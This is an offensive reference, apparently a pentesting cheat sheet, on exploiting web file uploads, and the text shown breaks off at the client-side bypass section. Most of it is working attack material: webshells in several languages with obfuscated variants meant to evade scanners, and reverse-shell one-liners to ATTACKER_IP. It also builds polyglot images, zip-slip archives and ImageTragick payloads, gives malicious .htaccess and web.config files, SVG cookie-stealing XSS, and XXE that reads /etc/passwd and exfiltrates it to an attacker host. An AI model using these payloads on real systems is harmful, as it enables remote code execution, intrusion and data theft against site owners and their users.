A complete operational reference for File Upload vulnerabilities covering attack taxonomy, extension bypasses, MIME & magic byte spoofing, content validation bypass, webshell payloads, polyglot files, client-side & server-side bypass, second-order execution, cloud & framework-specific quirks, automated tools, and remediation. Mapped to MITRE ATT&CK T1190 / T1105 / T1059.
1. Core Concepts & Attack Types
FILE UPLOAD ATTACK TAXONOMY:
FILE UPLOAD VULNERABILITIES
├── DIRECT RCE (upload and execute)
│ ├── Webshell upload → code execution via HTTP request
│ ├── Reverse shell script upload → direct callback
│ └── Binary upload (ELF / EXE) → execute if server runs it
│
├── CLIENT-SIDE ATTACKS (served to other users)
│ ├── HTML / JS upload → stored XSS
│ ├── SVG upload → stored XSS via inline script
│ └── HTML injection via filename
│
├── SERVER-SIDE ATTACKS (non-execution)
│ ├── Path traversal → overwrite arbitrary files
│ ├── XXE via SVG / XML / DOCX upload
│ ├── SSRF via SVG/XML external entities
│ └── DoS via zip bomb / large file / recursive archive
│
├── SECOND-ORDER EXECUTION
│ ├── Stored file processed later by cron / batch job
│ ├── File renamed and later included by another function
│ └── ImageMagick / ffmpeg processing pipeline injection
│
└── METADATA / STEGANOGRAPHY ATTACKS
├── Exif data → XSS or code in metadata fields
├── Polyglot file → valid image + embedded code
└── Zip slip → path traversal inside archive
Key Terms:
- Webshell — a script uploaded to a server that accepts OS commands via HTTP parameters and returns output.
- Extension Bypass — tricking the server into executing a file by using an alternative or obfuscated extension.
- MIME Type — the Content-Type header value sent with the upload; often validated client-side or server-side.
- Magic Bytes — the first few bytes of a file that identify its format (e.g. FF D8 FF = JPEG). Used by file-type libraries.
- Polyglot — a file that is simultaneously valid in two formats (e.g. a valid JPEG that also contains PHP code).
- Path Traversal — using ../ sequences in a filename to write the file outside the intended upload directory.
- Zip Slip — path traversal inside a ZIP/TAR archive — extracting files to arbitrary locations on the server.
- Second-Order — upload is accepted harmlessly, but a later server process (resize, scan, parse) triggers execution.
- Race Condition — file is uploaded and briefly exists before validation/deletion; exploit the window to trigger execution.
- Content Disposition — HTTP header controlling how a file is served (inline vs. attachment); misconfiguration leads to XSS.
2. Reconnaissance & Fingerprinting
2.1 Identifying the Upload Mechanism
Things to map before attacking:
→ What file types does the UI claim to accept?
→ Is there client-side validation (HTML accept= attribute, JS checks)?
→ What is the upload endpoint? (GET the form, inspect action= attribute)
→ What HTTP method? (POST, PUT, PATCH?)
→ Is the filename reflected anywhere (in response, in redirect URL)?
→ Where does the uploaded file get stored / served from?
→ Is the file served from the same domain or a separate one?
→ Is the file renamed by the server or kept as-is?
→ What web server / framework is running? (X-Powered-By, Server header)
→ What language handles uploads? (PHP, ASP, JSP, Node, Python…)
2.2 Fingerprinting the Backend
# Response headers leak the stack
curl -I http://target.com/upload
# Watch for:
# Server: Apache/2.4.41
# X-Powered-By: PHP/7.4.3
# X-AspNet-Version: 4.0.30319
# Wappalyzer (browser extension) auto-detects stack
# Whatweb CLI
whatweb http://target.com
# Nikto — scans for upload-related vulns
nikto -h http://target.com
# Check what the file URL looks like after upload
# /uploads/avatar.jpg → Apache, static serving
# /files/abc123 → abstracted, check Content-Type on download
# /cdn.target.com/ → CDN — different execution context
2.3 Mapping Validation Layers
Test each layer independently to understand what is actually enforced:
| Layer | Where it lives | How to test / bypass |
|---|---|---|
accept= attribute |
HTML form | Remove with DevTools / intercept with Burp |
| JS validation | Browser | Disable JS / intercept after submission |
| Content-Type header | HTTP request | Modify in Burp Repeater |
| Extension check | Server-side code | Try alternative extensions |
| Magic bytes check | Server-side library | Prepend valid magic bytes |
| File content scan (AV) | Server-side | Obfuscate payload |
| Storage path | Server config | Path traversal in filename |
| Execution policy | Web server config | Check if upload dir has PHP/CGI disabled |
2.4 Locating the Upload Directory
# After a successful upload, the URL reveals the path
# Example: http://target.com/uploads/profile/image.jpg
# → /uploads/profile/ is web-accessible and keeps original name
# Brute-force common upload directories
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt
feroxbuster -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
# Common upload paths:
# /uploads/ /upload/ /files/ /media/
# /images/ /img/ /static/ /assets/
# /data/ /temp/ /tmp/ /user_data/
# /avatars/ /profile/ /attachments/
# Check if direct file access triggers execution
curl http://target.com/uploads/test.php
# → PHP executed: output of phpinfo() or shell → vulnerable
# → Plain text returned: execution disabled → pivot to other attacks
3. Extension Bypass Techniques
3.1 PHP Extension Variants
When php is blacklisted, try these alternatives — which one works depends on the server config:
php php2 php3 php4 php5
php6 php7 phtml phar phps
pht pgif shtml phtm php.jpg
.php#.png .php%00.png (null byte — older PHP)
3.2 ASP / ASPX Extension Variants
asp aspx asa asax ascx
ashx asmx cer config soap
3.3 JSP Extension Variants
jsp jspx jspf jsw jsv
jtml
3.4 ColdFusion / Other
cfm cfml cfc dbm
3.5 Case Manipulation
# Servers doing case-sensitive extension checks:
shell.PHP shell.PhP shell.pHp
shell.PHTML shell.Phtml shell.PHtml
3.6 Double Extension
shell.php.jpg shell.jpg.php
shell.png.php shell.php.png
shell.php.gif shell.gif.php
# Apache AddHandler misconfiguration — if .php handler applies to ANY
# file with .php anywhere in the name:
shell.php.xxx shell.php.blah
# IIS — file.asp;.jpg → treated as ASP
shell.asp;.jpg
shell.aspx;.jpg
3.7 Special Character & Encoding Tricks
# Null byte (PHP < 5.3.4 — terminates string at OS level)
shell.php%00.jpg
shell.php\x00.jpg
# Trailing dot (Windows — filesystem ignores trailing dots)
shell.php.
shell.php..
# Trailing space (Windows filesystem)
shell.php (with space)
# URL encoding
shell%2Ephp # %2E = .
shell.ph%70 # %70 = p
# Unicode / overlong encoding
shell.php (Unicode dot U+FF0E)
# Right-to-left override (RTLO) — cosmetic only, not execution
shell[U+202E]gpj.php → displays as shell.jpg but is shell.php
# Semicolon (IIS parsing)
shell.asp;anythinghere.jpg
3.8 Extension Bypass Decision Tree
Is php blocked? → Try phtml, phar, php5, php7, pht
Is the check case-sensitive? → Try .PHP, .PhP, .pHtml
Is it a blacklist? → Find unchecked extension in AddHandler list
Is it a whitelist? → Try double extension: shell.jpg.php
Is Apache + mod_mime? → shell.php.jpg if AddHandler php-script .php
Is IIS? → shell.asp;.jpg
Is nginx + PHP-FPM? → Path info: shell.jpg/x.php (if try_files misconfigured)
Is it checking filename not extension? → Use null byte, RTLO, trailing dot
4. MIME Type & Content-Type Bypass
4.1 What Gets Checked
When you upload a file, the browser sets Content-Type automatically.
The server may:
A) Trust the Content-Type header as-is (no validation)
B) Check only Content-Type header (bypassable in Burp)
C) Check Content-Type AND sniff magic bytes
D) Run a full file-type library (python-magic, fileinfo)
4.2 Changing Content-Type in Burp
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary7MA4YWx
------Boundary7MA4YWx
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← Change this from application/x-php
<?php system($_GET['cmd']); ?>
------Boundary7MA4YWx--
4.3 Common MIME Types to Spoof
| Spoofed As | Content-Type Value |
|---|---|
| JPEG image | image/jpeg |
| PNG image | image/png |
| GIF image | image/gif |
application/pdf |
|
| Plain text | text/plain |
| ZIP archive | application/zip |
| Word document | application/msword |
| Octet stream | application/octet-stream |
4.4 Multipart Form-Data Structure Reference
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=--BOUNDARY--
----BOUNDARY--
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg
<FILE CONTENT HERE>
----BOUNDARY----
Key fields to manipulate in Burp:
- filename= → extension bypass, path traversal
- Content-Type: → MIME bypass
- File content body → magic bytes, payload obfuscation
5. Magic Bytes & File Signature Spoofing
HOW IT WORKS:
Libraries like php-fileinfo, python-magic, and file(1) identify file types
by reading the first few bytes (magic bytes / file signature) — not the extension.
Prepend valid magic bytes to your payload to fool the check.
5.1 Common Magic Bytes
| Format | Magic Bytes (Hex) | ASCII Representation |
|---|---|---|
| JPEG | FF D8 FF E0 |
ÿØÿà |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
‰PNG.... |
| GIF87a | 47 49 46 38 37 61 |
GIF87a |
| GIF89a | 47 49 46 38 39 61 |
GIF89a |
25 50 44 46 |
%PDF |
|
| ZIP | 50 4B 03 04 |
PK.. |
| RAR | 52 61 72 21 1A 07 |
Rar!.. |
| ELF | 7F 45 4C 46 |
.ELF |
| BMP | 42 4D |
BM |
| WEBP | 52 49 46 46 ... 57 45 42 50 |
RIFF....WEBP |
5.2 Prepend Magic Bytes to PHP Payload
# Method 1 — GIF89a prefix (most commonly used)
printf 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shell.php
# → Rename to shell.gif.php or shell.phtml depending on bypass needed
# Method 2 — JPEG magic bytes
printf '\xff\xd8\xff\xe0\n<?php system($_GET["cmd"]); ?>' > shell.php
# Method 3 — PNG magic bytes
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.php
# Method 4 — using xxd and dd
# Create a real JPEG, append PHP payload:
cp legit.jpg shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
# → If server saves as .jpg but serves without content-type enforcement, browser may execute
# Method 5 — exiftool metadata injection
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit.jpg -o shell.jpg
5.3 Verify Magic Bytes
# Check what file type is detected
file shell.jpg
# → shell.jpg: JPEG image data, JFIF standard 1.01 ← looks legit
# Hexdump to verify
xxd shell.jpg | head -5
# python-magic check (mirrors what server-side fileinfo sees)
python3 -c "import magic; print(magic.from_file('shell.jpg', mime=True))"
6. Webshell Payloads — All Languages
6.1 PHP Webshells
<!-- Minimal — single command execution -->
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<!-- With output sanitization for HTML display -->
<?php echo '<pre>' . htmlspecialchars(shell_exec($_GET['cmd'])) . '</pre>'; ?>
<!-- POST-based (avoids cmd showing in server logs) -->
<?php system($_POST['cmd']); ?>
<!-- Obfuscated — evades simple string matching -->
<?php $f='sys'.'tem'; $f($_GET['c']); ?>
<?php $f=base64_decode('c3lzdGVt'); $f($_GET['c']); ?>
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7')); ?>
<!-- Variable function call -->
<?php $_=$_GET['f']; $_($_GET['c']); ?>
<!-- Backtick operator -->
<?php echo `{$_GET['cmd']}`; ?>
<!-- preg_replace /e (PHP < 7.0 only) -->
<?php preg_replace('/.*/e', $_GET['cmd'], ''); ?>
<!-- assert() -->
<?php assert($_GET['cmd']); ?>
<!-- Full featured mini webshell -->
<?php
if(isset($_REQUEST['cmd'])){
$cmd = $_REQUEST['cmd'];
echo '<pre>';
echo htmlspecialchars(shell_exec($cmd . ' 2>&1'));
echo '</pre>';
}
?>
<!-- Password-protected -->
<?php if(md5($_POST['pass'])=='5f4dcc3b5aa765d61d8327deb882cf99'){system($_POST['cmd']);} ?>
<!-- password = 'password' (md5) -->
6.2 PHP Reverse Shell (One-Liners)
<?php $sock=fsockopen("ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3"); ?>
<?php system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>
Tip: Use PentestMonkey's php-reverse-shell.php for a robust interactive shell.
https://github.com/pentestmonkey/php-reverse-shell
6.3 ASP / ASPX Webshells
<!-- Classic ASP (.asp) -->
<%
Dim cmd, oShell, output
cmd = Request.QueryString("cmd")
Set oShell = CreateObject("WScript.Shell")
output = oShell.Exec(cmd).StdOut.ReadAll
Response.Write("<pre>" & output & "</pre>")
%>
<!-- Short form -->
<% eval request("cmd") %>
<% execute(request("cmd")) %>
<!-- ASP.NET (.aspx) -->
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
string cmd = Request.QueryString["cmd"];
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
}
</script>
<!-- Minimal ASPX -->
<%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]);%>
6.4 JSP Webshells
<!-- JSP (.jsp) -->
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if(cmd != null) {
Process proc = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while((line = br.readLine()) != null) sb.append(line).append("\n");
out.println("<pre>" + sb.toString() + "</pre>");
}
%>
<!-- Minimal JSP -->
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
<!-- JSP with error stream -->
<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
out.println(new java.util.Scanner(p.getInputStream()).useDelimiter("\\A").next());
%>
6.5 Python (WSGI / CGI) Webshells
# CGI Python webshell (if CGI enabled — .py or .cgi)
#!/usr/bin/env python3
import os, cgi
print("Content-Type: text/html\n")
form = cgi.FieldStorage()
cmd = form.getvalue("cmd", "id")
print("<pre>" + os.popen(cmd).read() + "</pre>")
6.6 Perl CGI Webshell
#!/usr/bin/perl
use CGI qw(:standard);
print header();
my $cmd = param('cmd');
print "<pre>" . `$cmd` . "</pre>";
6.7 Node.js Webshell (if .js files are executed)
// Express route injection or direct .js execution
const http = require('http');
const { execSync } = require('child_process');
http.createServer((req, res) => {
const url = new URL(req.url, 'http://x');
const cmd = url.searchParams.get('cmd') || 'id';
res.end(execSync(cmd).toString());
}).listen(3000);
6.8 Webshell Usage
# Trigger webshell after upload
curl "http://target.com/uploads/shell.php?cmd=id"
curl "http://target.com/uploads/shell.php?cmd=cat%20/etc/passwd"
curl "http://target.com/uploads/shell.php?cmd=which%20python3"
# URL-encode special characters
curl -G "http://target.com/uploads/shell.php" --data-urlencode "cmd=cat /etc/shadow"
# POST-based shell
curl -X POST "http://target.com/uploads/shell.php" -d "cmd=id"
# Upgrade to reverse shell via webshell
curl -G "http://target.com/uploads/shell.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
7. Content Validation & Size Bypass
7.1 Bypassing Image Dimension Checks
Some apps use getimagesize() (PHP) or PIL/Pillow to verify the file is a real image:
# Method 1 — Inject PHP into a real image's comment/EXIF
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# → getimagesize() passes (real JPEG structure)
# → If server saves as .php or processes via include(), code executes
# Method 2 — Append to real image
cat real.jpg <(echo '<?php system($_GET["cmd"]); ?>') > shell.jpg
# Method 3 — Create minimal valid JPEG with embedded PHP
# GD library (PHP) creates a real GD image with injected comment:
python3 -c "
data = open('real.jpg','rb').read()
payload = b'<?php system(\$_GET[\"cmd\"]); ?>'
with open('shell.jpg','wb') as f:
f.write(data + payload)
"
7.2 Bypassing File Size Limits
# Minimal webshells (< 30 bytes):
<?=`$_GET[c]`?> # 18 bytes — PHP short tag + backtick
<?=system($_GET[c])?> # 23 bytes
<?php system($_GET[c]); # 27 bytes (no closing tag needed)
# If there's a max size check, minimize your payload
# then escalate from the webshell later
7.3 Bypassing Content Inspection (AV / YARA)
<!-- Obfuscation techniques to evade content scanners -->
<!-- Base64 eval -->
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw==')); ?>
# base64('system($_GET[\'c\']);')
<!-- String concatenation -->
<?php $a='sys'; $b='tem'; $c=$a.$b; $c($_GET['c']); ?>
<!-- Hex encoding -->
<?php $f="\x73\x79\x73\x74\x65\x6d"; $f($_GET['c']); ?>
<!-- ROT13 -->
<?php $f=str_rot13('flfgrz'); $f($_GET['c']); ?>
<!-- Variable variables -->
<?php $$_='system'; $_($__GET['c']); ?>
<!-- chr() construction -->
<?php $f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109); $f($_GET['c']); ?>
<!-- Reverse string -->
<?php $f=strrev('metsys'); $f($_GET['c']); ?>
<!-- Compressed / encoded -->
<?php eval(gzinflate(base64_decode('...'))); ?>
8. Path Traversal via Upload
HOW IT WORKS:
If the server uses the client-supplied filename to build the storage path
without sanitization, a ../ sequence in the filename can write the file
to an arbitrary location on the filesystem — including the web root.
8.1 Path Traversal Payloads in Filename
# Basic traversal — escape upload directory to web root
../shell.php
../../shell.php
../../../var/www/html/shell.php
# URL-encoded
..%2Fshell.php
..%252Fshell.php # double-encoded
..%c0%afshell.php # Unicode overlong encoding of /
# Null byte (PHP < 5.3.4 — cuts off suffix)
../shell.php%00.jpg
../shell.php\x00.jpg
# Windows path traversal
..\shell.php
..\shell.asp
..\..\inetpub\wwwroot\shell.asp
# Overwrite critical files (destructive — CTF/lab only)
../../../etc/cron.d/evil
../../../etc/passwd
../index.php # overwrite front page with shell
8.2 Testing Path Traversal in Burp
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Bound
------Bound
Content-Disposition: form-data; name="file"; filename="../shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Bound--
Try each traversal variant in the filename= field. After each attempt, check:
- Does http://target.com/shell.php respond?
- Does http://target.com/../shell.php respond?
- Check error messages for path disclosure
8.3 Zip Slip — Path Traversal in Archives
HOW IT WORKS:
If the app extracts uploaded ZIP/TAR/GZ archives, a crafted archive
can contain entries with ../ paths that extract to arbitrary locations.
# Create malicious ZIP with path traversal entry
mkdir -p evil_zip
# Create the traversal payload
python3 -c "
import zipfile, io
shell = b'<?php system(\$_GET[\"cmd\"]); ?>'
zf = zipfile.ZipFile('evil.zip', 'w')
zf.writestr('../shell.php', shell)
zf.writestr('../../shell.php', shell)
zf.writestr('../../../var/www/html/shell.php', shell)
zf.close()
print('Created evil.zip')
"
# Using evilarc tool
python3 evilarc.py shell.php -o evil.zip -p ../../../var/www/html/ -d 3
# For TAR:
tar --create --file=evil.tar ../../../var/www/html/shell.php
9. Polyglot Files
HOW IT WORKS:
A polyglot file is simultaneously a valid file in two formats.
Pass the image check (magic bytes, getimagesize) AND contain executable code.
If the server saves it with a PHP/executable extension, or later include()s it,
the code executes.
9.1 JPEG + PHP Polyglot
# Append PHP to real JPEG
cp real_photo.jpg shell.jpg
echo '<?php system($_GET["cmd"]); ?>' >> shell.jpg
# → file: JPEG image data ← passes magic byte check
# → contains PHP code at end ← executes if .php extension is forced
# More reliable: inject into JPEG comment field
python3 -c "
import struct
def make_jpeg_polyglot(output, payload):
# Minimal JPEG with COM segment containing PHP
jpeg_header = bytes([0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10,
0x4A, 0x46, 0x49, 0x46, 0x00, 0x01,
0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00])
com_marker = bytes([0xFF, 0xFE])
payload_bytes = payload.encode()
com_length = struct.pack('>H', len(payload_bytes) + 2)
jpeg_footer = bytes([0xFF, 0xD9])
with open(output, 'wb') as f:
f.write(jpeg_header + com_marker + com_length + payload_bytes + jpeg_footer)
make_jpeg_polyglot('shell.jpg', '<?php system(\$_GET[\"cmd\"]); ?>')
print('Created shell.jpg polyglot')
"
# Using exiftool (easiest approach)
exiftool -Comment='<?php system($_GET["cmd"]); ?>' input.jpg -o polyglot.jpg
9.2 GIF + PHP Polyglot (Most Common)
# GIF magic bytes + PHP — classic combo
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
# → file: GIF image data ← passes magic check
# → rename to shell.php or upload as .php with .gif bypass
# With proper GIF structure
python3 -c "
gif_header = b'GIF89a'
gif_dims = b'\x01\x00\x01\x00' # 1x1 pixels
gif_meta = b'\x00\x00\x00'
gif_body = b'\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00'
gif_end = b'\x3b'
php = b'<?php system(\$_GET[\"cmd\"]); ?>'
with open('shell.gif', 'wb') as f:
f.write(gif_header + gif_dims + gif_meta + gif_body + gif_end + php)
print('GIF+PHP polyglot created')
"
9.3 PDF + PHP Polyglot
python3 -c "
pdf_header = b'%PDF-1.4\n'
php_payload = b'<?php system(\$_GET[\"cmd\"]); ?>\n'
pdf_body = b'''
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 100 100] >>
endobj
xref
0 4
0000000000 65535 f
trailer
<< /Size 4 /Root 1 0 R >>
startxref
9
%%EOF
'''
with open('shell.pdf', 'wb') as f:
f.write(pdf_header + php_payload + pdf_body)
print('PDF+PHP polyglot created')
"
9.4 PNG + PHP Polyglot via IDAT chunk
# Using idat-payload tool or manual chunk injection
# More complex — use exiftool approach for quick wins:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.png -o shell.png
# Then rename to shell.php or upload and hope for local include
10. Second-Order & Stored Upload Attacks
HOW IT WORKS:
The upload itself is safe — the file is stored but not executed immediately.
A secondary process later touches the file: image resize, virus scan, thumbnail
generation, archive extraction, or a require() / include() in another page.
That secondary process becomes the execution vector.
10.1 Local File Inclusion (LFI) → Webshell Execution
Scenario:
1. App accepts image upload → stores as /uploads/user_avatar.jpg
2. Another page has: include($_GET['page'] . '.php')
3. Inject PHP into image (polyglot/exif)
4. LFI to include the image: ?page=../uploads/user_avatar
→ PHP executes from the image file content
# Step 1: Upload a polyglot image with PHP payload
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
# Upload shell.jpg → stored at /uploads/shell.jpg
# Step 2: Trigger via LFI
curl "http://target.com/page.php?page=../uploads/shell&cmd=id"
# → PHP parsed from EXIF comment
10.2 ImageMagick — ImageTragick (CVE-2016-3714)
Scenario: App processes uploaded images with ImageMagick (convert, identify, mogrify)
Payload embedded in image file triggers RCE during processing.
# Create malicious MVG file (ImageMagick Vector Graphics)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
# Disguise as image:
cp exploit.mvg exploit.jpg
# Or MSL (Magick Scripting Language) injection:
cat > exploit.msl << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php system($_GET['cmd']); ?>"/>
<write filename="/var/www/html/uploads/shell.php"/>
</image>
EOF
# Upload and trigger:
convert exploit.jpg /tmp/out.jpg # RCE on server during processing
# Test if vulnerable:
identify -verbose exploit.jpg
10.3 ffmpeg SSRF / File Read (CVE-2016-1897/1898)
# Create malicious AVI that triggers SSRF when processed by ffmpeg
cat > evil.avi << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://ATTACKER_IP/ssrf-detected
#EXT-X-ENDLIST
EOF
# Or file read via HLS:
cat > evil.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///etc/passwd
#EXT-X-ENDLIST
EOF
10.4 Cron / Background Job Execution
Scenario:
1. App stores uploaded scripts in /uploads/scripts/
2. A cron job runs: bash /uploads/scripts/*.sh every 5 minutes
3. Upload a .sh file → cron executes it
# Upload payload:
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
# Upload shell.sh → wait for cron to fire
10.5 Template / Config File Overwrite
Scenario: App allows uploading "theme" or "config" files stored in a path
later included by the framework.
Examples:
→ .htaccess upload → change PHP handler, enable directory listing
→ web.config upload (ASP.NET) → enable script execution
→ Twig/Blade template upload → SSTI via template render
→ .env file overwrite → change DB credentials, APP_KEY
# Malicious .htaccess — make server execute .jpg as PHP
AddType application/x-httpd-php .jpg
AddType application/x-httpd-php .png
Options +ExecCGI
AddHandler cgi-script .jpg
# Or enable PHP in upload directory (if disabled):
php_flag engine on
# Or map specific extension:
<Files "shell.jpg">
SetHandler application/x-httpd-php
</Files>
<!-- Malicious web.config for IIS — execute .jpg as ASP.NET -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.jpg" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write"
preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".jpg" />
</fileExtensions>
</requestFiltering>
</security>
</system.webServer>
</configuration>
11. XML / SVG / XXE via Upload
11.1 SVG Upload → Stored XSS
<!-- Upload as shell.svg — executes JS in victim's browser when viewed -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
<circle cx="50" cy="50" r="40"/>
</svg>
<!-- SVG with script tag -->
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert(document.cookie)</script>
</svg>
<!-- SVG + external script load -->
<svg xmlns="http://www.w3.org/2000/svg">
<script href="http://ATTACKER_IP/evil.js"/>
</svg>
11.2 SVG Upload → XXE (SSRF / File Read)
<!-- Read /etc/passwd via SVG XXE -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
<!-- SSRF via SVG XXE -->
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
<!-- OOB XXE — blind exfil via DNS -->
<!DOCTYPE svg [
<!ENTITY % dtd SYSTEM "http://ATTACKER_IP/evil.dtd">
%dtd;
]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&send;</text></svg>
<!-- evil.dtd hosted on attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrap "<!ENTITY send SYSTEM 'http://ATTACKER_IP/?x=%file;'>">
%wrap;
11.3 DOCX / XLSX / PPTX → XXE
Office documents are ZIP archives containing XML files.
Modify the XML to inject XXE payloads.
# Unzip a legitimate DOCX
cp legit.docx evil.docx
mkdir evil_docx && cd evil_docx
unzip ../evil.docx
# Edit word/document.xml — add XXE:
# Insert at top of XML after <?xml version="1.0"?>:
# <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
# Then reference &xxe; in body text
# Repack:
zip -r ../evil.docx .
cd .. && rm -rf evil_docx
11.4 PDF Upload → SSRF / XXE
Some PDF parsers (Apache FOP, iText) resolve external entities in PDFs:
# Malicious PDF with external entity
cat > evil.pdf << 'EOF'
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< >>
endobj
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>&xxe;</test>
%%EOF
EOF
12. Framework & Language-Specific Attacks
12.1 Apache — .htaccess Upload
# If .htaccess files can be uploaded to the upload directory:
# Scenario A: Make .jpg files execute as PHP
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Upload .htaccess → upload shell.jpg → trigger via HTTP
# Scenario B: Re-enable PHP in a directory where it's disabled
echo 'php_flag engine on' > .htaccess
# Scenario C: Execute specific file as PHP
cat > .htaccess << 'EOF'
<Files "shell.jpg">
SetHandler application/x-httpd-php
</Files>
EOF
12.2 Nginx — try_files Misconfiguration
Nginx + PHP-FPM: if try_files is misconfigured, path info is used.
A URL like: /uploads/shell.jpg/x.php
→ Nginx passes /uploads/shell.jpg to PHP-FPM with PATH_INFO=/x.php
→ PHP executes shell.jpg as PHP code if cgi.fix_pathinfo=1
# Test:
curl http://target.com/uploads/shell.jpg/x.php?cmd=id
12.3 IIS — PUT Method Upload
# If HTTP PUT is enabled on IIS:
curl -X PUT http://target.com/shell.asp -d '<%eval request("cmd")%>'
# Or OPTIONS to check allowed methods:
curl -X OPTIONS http://target.com/ -v
# Look for: Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
12.4 PHP — phar:// Deserialization via Upload
# If application uses phar:// wrapper on user-controlled paths:
# 1. Create a malicious PHAR with serialized payload
php -r "
\$phar = new Phar('evil.phar');
\$phar->startBuffering();
\$phar->addFromString('a.txt','test');
\$phar->setStub('<?php __HALT_COMPILER(); ?>');
\$o = new SomeVulnerableClass();
\$phar->setMetadata(\$o);
\$phar->stopBuffering();
"
# Rename to .jpg to bypass extension check
mv evil.phar evil.jpg
# Upload evil.jpg
# Trigger via: file_exists('phar:///uploads/evil.jpg')
12.5 Node.js / Express — Multer Misconfig
// Vulnerable: no file type check, stores in public directory
app.post('/upload', multer({dest: 'public/uploads/'}).single('file'), (req, res) => {
res.json({filename: req.file.filename});
});
// If original filename is used and .js files are served via require():
// Upload shell.js → trigger execution path
12.6 Django — MEDIA_ROOT Traversal
# If filename is not sanitized before os.path.join:
filepath = os.path.join(settings.MEDIA_ROOT, filename)
# Inject: ../../templates/base.html → overwrites template
# Django's default storage sanitizes filenames, but custom storage may not
12.7 Java Servlets — JSP Upload to Deployment Path
If the app stores files inside the web application directory (WEB-INF excluded),
uploading a .jsp file grants RCE:
/var/lib/tomcat9/webapps/ROOT/uploads/shell.jsp → accessible at /uploads/shell.jsp
13. Client-Side Bypass Techniques
13.1 Removing HTML accept= Attribute
